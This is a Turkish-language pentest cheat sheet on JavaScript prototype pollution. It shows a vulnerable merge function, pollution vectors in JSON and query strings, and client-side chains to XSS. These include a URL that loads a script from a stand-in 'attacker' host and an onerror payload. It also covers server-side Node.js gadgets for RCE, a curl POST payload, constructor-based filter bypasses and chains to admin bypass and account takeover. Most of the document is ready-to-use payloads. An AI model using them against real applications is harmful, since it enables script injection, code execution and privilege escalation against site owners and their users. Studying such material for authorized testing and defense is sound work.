Prototype Pollution
JavaScript difficulty: orta-zor
Prototype Pollution, JavaScript’te saldırganın Object.prototype’a özellik ekleyebilmesidir. Kirletilen özellik tüm nesnelerde varsayılan olarak görünür; uygun bir “gadget” ile bu, istemcide XSS’e, sunucuda (Node.js) RCE’ye veya yetki atlatmaya yükselir.
Nasıl oluşur
Section titled “Nasıl oluşur”Güvensiz recursive merge, deep clone, lodash.merge, jquery.extend(true, …), query-string parser veya JSON.parse sonrası kör atama:
function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object') merge(target[key] = target[key] || {}, source[key]); else target[key] = source[key]; }}merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));// {}.isAdmin === trueKirletme vektörleri
Section titled “Kirletme vektörleri”__proto__constructor.prototype__proto__.constructor.prototype{ "__proto__": { "isAdmin": true } }{ "constructor": { "prototype": { "isAdmin": true } } }?__proto__[isAdmin]=true?constructor[prototype][isAdmin]=true?__proto__.isAdmin=trueObject.prototype.junkprop === 'yes' // ?__proto__[junkprop]=yes sonrasıClient-side zinciri
Section titled “Client-side zinciri”-
Source bul — URL hash/query veya JSON deep-merge. DOM Invader PP modu.
-
Gadget bul — kirletilen property’yi okuyan kod:
config.transport_urloptions.url → script.srcsettings.innerHTML_.templateSettings / sanitize false -
XSS’e yükselt — src / url / innerHTML gadget’ları.
-
Akışı kanıtla — kurbana özel URL + callback.
https://hedef.com/#__proto__[transport_url]=https://attacker/x.jshttps://hedef.com/?__proto__[innerHTML]=<img/src/onerror=alert(1)>Server-side (Node.js)
Section titled “Server-side (Node.js)”child_process exec options → shell: trueNODE_OPTIONS / argv kirletmetemplate engine (EJS/Pug/Handlebars) ayarlarıexpress body parser + mergecurl -X POST https://hedef/api \ -H 'Content-Type: application/json' \ -d '{"__proto__":{"status":200,"body":"polluted"}}'Önce zararsız property (“polluted”:true) ile kirlenmeyi kanıtla; sonra bağımlılık gadget’larını ara (PortSwigger server-side labs).
Alternatif / bypass
Section titled “Alternatif / bypass”__proto__ engelli → constructor{"constructor":{"prototype":{"x":1}}}Object.create(null) sink değilACL bypass: isAdmin, role, authenticatedChecklist
Section titled “Checklist”□ Query / JSON / body / multipart merge noktaları□ Client: DOM Invader + gadget research□ Server: npm bağımlılık sürümleri (PP CVE)□ Auth: role/isAdmin property pollution□ DoS: Object.prototype.toString override (nadir)□ prototype pollution → SSTI/XSS gadget zinciriSaldırı zinciri
Section titled “Saldırı zinciri”?__proto__[junk]=1 → Object.prototype.junk true → gadget (transport_url) → XSS / account takeoverJSON merge API → __proto__ isAdmin → authz bypass → admin actions